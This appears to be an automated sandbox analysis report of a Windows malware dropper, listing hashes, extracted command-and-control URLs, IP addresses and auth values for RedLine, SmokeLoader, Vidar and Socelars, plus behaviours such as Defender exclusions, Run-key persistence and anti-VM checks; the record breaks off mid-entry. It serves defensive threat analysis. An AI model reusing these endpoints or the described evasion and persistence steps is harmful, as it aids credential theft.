Analysis
-
max time kernel
97s -
max time network
168s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
15-03-2022 12:07
Static task
static1
Behavioral task
behavioral1
Sample
fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe
Resource
win7-20220310-en
Behavioral task
behavioral2
Sample
fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe
Resource
win10v2004-en-20220113
General
-
Target
fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe
-
Size
8.0MB
-
MD5
227fade091c7ffa502c137f4dc6a4463
-
SHA1
3b84295946b51afcb806ba63593299f3044c533c
-
SHA256
fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a
-
SHA512
39a92f39acf18bde79fe164c09019d3c0c0638757f0fc7fc3473f63a6f1f8b1aec71c3b518c91c067fc7a13adaef8c7a025ee5c5e80a0882312cd993ebc2283c
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.xxhufdc.top/
http://www.uefhkice.xyz/
http://www.fcektsy.top/
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
Extracted
vidar
50.9
1177
https://ieji.de/@sam7al
https://busshi.moe/@sam0al
-
profile_id
1177
Extracted
redline
da da
86.107.197.196:63065
-
auth_value
9b1654b30797c210c85bd0890936a5b9
Extracted
redline
filinnn1
5.45.77.29:2495
-
auth_value
da347df57c88b125ede510dbe7fcc0f4
Extracted
redline
ruzki14_03
176.122.23.55:11768
-
auth_value
13b742acfe493b01c5301781c98d3fbe
Extracted
redline
ruz876
185.215.113.7:5186
-
auth_value
4750f6742a496bbe74a981d51e7680ad
Extracted
redline
nam11
103.133.111.182:44839
-
auth_value
aa901213c47adf1c4bbe06384de2a9ab
Signatures
-
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/944-172-0x00000000052B0000-0x0000000005BD6000-memory.dmp family_glupteba behavioral2/memory/944-173-0x0000000000400000-0x000000000309E000-memory.dmp family_glupteba behavioral2/memory/4208-192-0x0000000000400000-0x000000000309E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rUNdlL32.eXedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2364 3772 rUNdlL32.eXe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
Processes:
resource yara_rule behavioral2/memory/5504-267-0x0000000000700000-0x0000000000720000-memory.dmp family_redline behavioral2/memory/5512-286-0x0000000000330000-0x00000000004B5000-memory.dmp family_redline behavioral2/memory/5512-280-0x0000000000330000-0x00000000004B5000-memory.dmp family_redline behavioral2/memory/5512-276-0x0000000000330000-0x00000000004B5000-memory.dmp family_redline behavioral2/memory/572-307-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/1564-311-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/4228-316-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/1224-359-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Install.exe family_socelars C:\Users\Admin\AppData\Local\Temp\Install.exe family_socelars -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 5080 created 944 5080 svchost.exe Info.exe PID 5080 created 2320 5080 svchost.exe AdvancedRun.exe PID 5080 created 2320 5080 svchost.exe AdvancedRun.exe PID 5080 created 4448 5080 svchost.exe csrss.exe -
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
-
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
OnlyLogger Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4912-225-0x0000000000600000-0x0000000000644000-memory.dmp family_onlylogger behavioral2/memory/4912-226-0x0000000000400000-0x000000000048C000-memory.dmp family_onlylogger -
Vidar Stealer 3 IoCs
Processes:
resource yara_rule behavioral2/memory/5380-264-0x00000000005D0000-0x000000000095C000-memory.dmp family_vidar behavioral2/memory/5380-285-0x00000000005D0000-0x000000000095C000-memory.dmp family_vidar behavioral2/memory/5380-282-0x00000000005D0000-0x000000000095C000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 42 IoCs
Processes:
Files.exeKRSetp.exejfiag3g_gg.exeInstall.exeFolder.exeInfo.exeFolder.exeInstallation.exepub2.exemysetold.exemd9_1sjm.exeComplete.exejfiag3g_gg.exeInfo.exevqF9D2ILvyTG9GOL8BNoI3F4.exenN316SYFG4Pm_8oiwozXU5Q6.exepR1C_OxjOljUslIcX4EtNPgm.exeYeFRXL3wfWgO98N68gYSX_3h.exeBUy7Fo4SWeP9p9LmzEVlOY2P.execsrss.exebVS99lhn25JX6Td97qp14D4y.exedGwyTnqolkg0z3MDdSPfIwC2.exe4c446prMjygLywYLVit3f5Zx.exe8rLm8B85yGlJe4WQSfyabVgp.exeb6e37P26y9WWsQ79grsJVVpS.exeToMKh6IL486xDGxsWBqmoUsf.execCt3hT7czzGA2Yf5buspOpOj.exekQyJrpnf5SwshH2Dg7ydGNPn.exez4zS7bAk2L3sw0tBeQZYY8Qr.exeL5Nn78pIEqXDKMD0vlGB809U.exek9gXQp2ZOezo392GSEbeNl8r.exeqlZQl2mdh9fezJ3rCi0_ekDK.exejhEbvi9orSg42z6xNcL05Xur.exeRj7JV3q9FFUMHFUCvgr0yZW6.exeMXUX4u9qRGoTBTr0eIBPJBxf.exeNE8n97eEvm3_P4xpm80GqL3y.exeInstall.exeToMKh6IL486xDGxsWBqmoUsf.exeAdvancedRun.exe6e38ac8b-1bfd-4bc1-ad3b-a9b292de31c5.exeToMKh6IL486xDGxsWBqmoUsf.exe4cc426ea-e8ca-44b6-a0b4-6cab700a46b1.exepid process 3672 Files.exe 3424 KRSetp.exe 1836 jfiag3g_gg.exe 3296 Install.exe 644 Folder.exe 944 Info.exe 2024 Folder.exe 388 Installation.exe 2336 pub2.exe 3364 mysetold.exe 3924 md9_1sjm.exe 2480 Complete.exe 2216 jfiag3g_gg.exe 4208 Info.exe 4324 vqF9D2ILvyTG9GOL8BNoI3F4.exe 4388 nN316SYFG4Pm_8oiwozXU5Q6.exe 4912 pR1C_OxjOljUslIcX4EtNPgm.exe 4544 YeFRXL3wfWgO98N68gYSX_3h.exe 4460 BUy7Fo4SWeP9p9LmzEVlOY2P.exe 4448 csrss.exe 696 bVS99lhn25JX6Td97qp14D4y.exe 3804 dGwyTnqolkg0z3MDdSPfIwC2.exe 992 4c446prMjygLywYLVit3f5Zx.exe 2504 8rLm8B85yGlJe4WQSfyabVgp.exe 2512 b6e37P26y9WWsQ79grsJVVpS.exe 4564 ToMKh6IL486xDGxsWBqmoUsf.exe 4580 cCt3hT7czzGA2Yf5buspOpOj.exe 5336 kQyJrpnf5SwshH2Dg7ydGNPn.exe 5344 z4zS7bAk2L3sw0tBeQZYY8Qr.exe 5352 L5Nn78pIEqXDKMD0vlGB809U.exe 5360 k9gXQp2ZOezo392GSEbeNl8r.exe 5380 qlZQl2mdh9fezJ3rCi0_ekDK.exe 5388 jhEbvi9orSg42z6xNcL05Xur.exe 5504 Rj7JV3q9FFUMHFUCvgr0yZW6.exe 5512 MXUX4u9qRGoTBTr0eIBPJBxf.exe 4872 NE8n97eEvm3_P4xpm80GqL3y.exe 4608 Install.exe 5656 ToMKh6IL486xDGxsWBqmoUsf.exe 2320 AdvancedRun.exe 6096 6e38ac8b-1bfd-4bc1-ad3b-a9b292de31c5.exe 1224 ToMKh6IL486xDGxsWBqmoUsf.exe 5676 4cc426ea-e8ca-44b6-a0b4-6cab700a46b1.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe vmprotect C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe vmprotect behavioral2/memory/3924-160-0x0000000000400000-0x000000000060D000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
cCt3hT7czzGA2Yf5buspOpOj.exez4zS7bAk2L3sw0tBeQZYY8Qr.exeL5Nn78pIEqXDKMD0vlGB809U.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion cCt3hT7czzGA2Yf5buspOpOj.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion cCt3hT7czzGA2Yf5buspOpOj.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion z4zS7bAk2L3sw0tBeQZYY8Qr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion z4zS7bAk2L3sw0tBeQZYY8Qr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion L5Nn78pIEqXDKMD0vlGB809U.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion L5Nn78pIEqXDKMD0vlGB809U.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
b6e37P26y9WWsQ79grsJVVpS.exevqF9D2ILvyTG9GOL8BNoI3F4.exenN316SYFG4Pm_8oiwozXU5Q6.exefd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exeFolder.exeComplete.exeInstallation.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation b6e37P26y9WWsQ79grsJVVpS.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation vqF9D2ILvyTG9GOL8BNoI3F4.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation nN316SYFG4Pm_8oiwozXU5Q6.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation Folder.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation Complete.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation Installation.exe -
Loads dropped DLL 15 IoCs
Processes:
rundll32.exe4c446prMjygLywYLVit3f5Zx.exeqlZQl2mdh9fezJ3rCi0_ekDK.exebVS99lhn25JX6Td97qp14D4y.exepid process 3804 rundll32.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 992 4c446prMjygLywYLVit3f5Zx.exe 5380 qlZQl2mdh9fezJ3rCi0_ekDK.exe 5380 qlZQl2mdh9fezJ3rCi0_ekDK.exe 696 bVS99lhn25JX6Td97qp14D4y.exe 696 bVS99lhn25JX6Td97qp14D4y.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
nN316SYFG4Pm_8oiwozXU5Q6.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths nN316SYFG4Pm_8oiwozXU5Q6.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions nN316SYFG4Pm_8oiwozXU5Q6.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\nN316SYFG4Pm_8oiwozXU5Q6.exe = "0" nN316SYFG4Pm_8oiwozXU5Q6.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions nN316SYFG4Pm_8oiwozXU5Q6.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1" nN316SYFG4Pm_8oiwozXU5Q6.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
Files.exeInfo.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.ex" Files.exe Set value (str) \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DawnDarkness = "\"C:\\Windows\\rss\\csrss.exe\"" Info.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
z4zS7bAk2L3sw0tBeQZYY8Qr.exeL5Nn78pIEqXDKMD0vlGB809U.execCt3hT7czzGA2Yf5buspOpOj.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA z4zS7bAk2L3sw0tBeQZYY8Qr.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA L5Nn78pIEqXDKMD0vlGB809U.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cCt3hT7czzGA2Yf5buspOpOj.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 227 ipinfo.io 237 ipinfo.io 5 ip-api.com 23 ipinfo.io 24 ipinfo.io 226 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\mysetold.exe autoit_exe C:\Users\Admin\AppData\Local\Temp\mysetold.exe autoit_exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
qlZQl2mdh9fezJ3rCi0_ekDK.exeMXUX4u9qRGoTBTr0eIBPJBxf.exepid process 5380 qlZQl2mdh9fezJ3rCi0_ekDK.exe 5512 MXUX4u9qRGoTBTr0eIBPJBxf.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
cCt3hT7czzGA2Yf5buspOpOj.exeL5Nn78pIEqXDKMD0vlGB809U.exez4zS7bAk2L3sw0tBeQZYY8Qr.exeToMKh6IL486xDGxsWBqmoUsf.exedescription pid process target process PID 4580 set thread context of 572 4580 cCt3hT7czzGA2Yf5buspOpOj.exe AppLaunch.exe PID 5352 set thread context of 1564 5352 L5Nn78pIEqXDKMD0vlGB809U.exe AppLaunch.exe PID 5344 set thread context of 4228 5344 z4zS7bAk2L3sw0tBeQZYY8Qr.exe AppLaunch.exe PID 4564 set thread context of 1224 4564 ToMKh6IL486xDGxsWBqmoUsf.exe ToMKh6IL486xDGxsWBqmoUsf.exe -
Drops file in Windows directory 3 IoCs
Processes:
nN316SYFG4Pm_8oiwozXU5Q6.exeInfo.exedescription ioc process File created C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw nN316SYFG4Pm_8oiwozXU5Q6.exe File opened for modification C:\Windows\rss Info.exe File created C:\Windows\rss\csrss.exe Info.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 6 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 1168 3804 WerFault.exe rundll32.exe 5772 4912 WerFault.exe pR1C_OxjOljUslIcX4EtNPgm.exe 5636 4544 WerFault.exe YeFRXL3wfWgO98N68gYSX_3h.exe 5264 5388 WerFault.exe jhEbvi9orSg42z6xNcL05Xur.exe 2388 5360 WerFault.exe k9gXQp2ZOezo392GSEbeNl8r.exe 5292 4544 WerFault.exe YeFRXL3wfWgO98N68gYSX_3h.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
pub2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pub2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI pub2.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
4c446prMjygLywYLVit3f5Zx.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 4c446prMjygLywYLVit3f5Zx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 4c446prMjygLywYLVit3f5Zx.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2936 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
Info.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 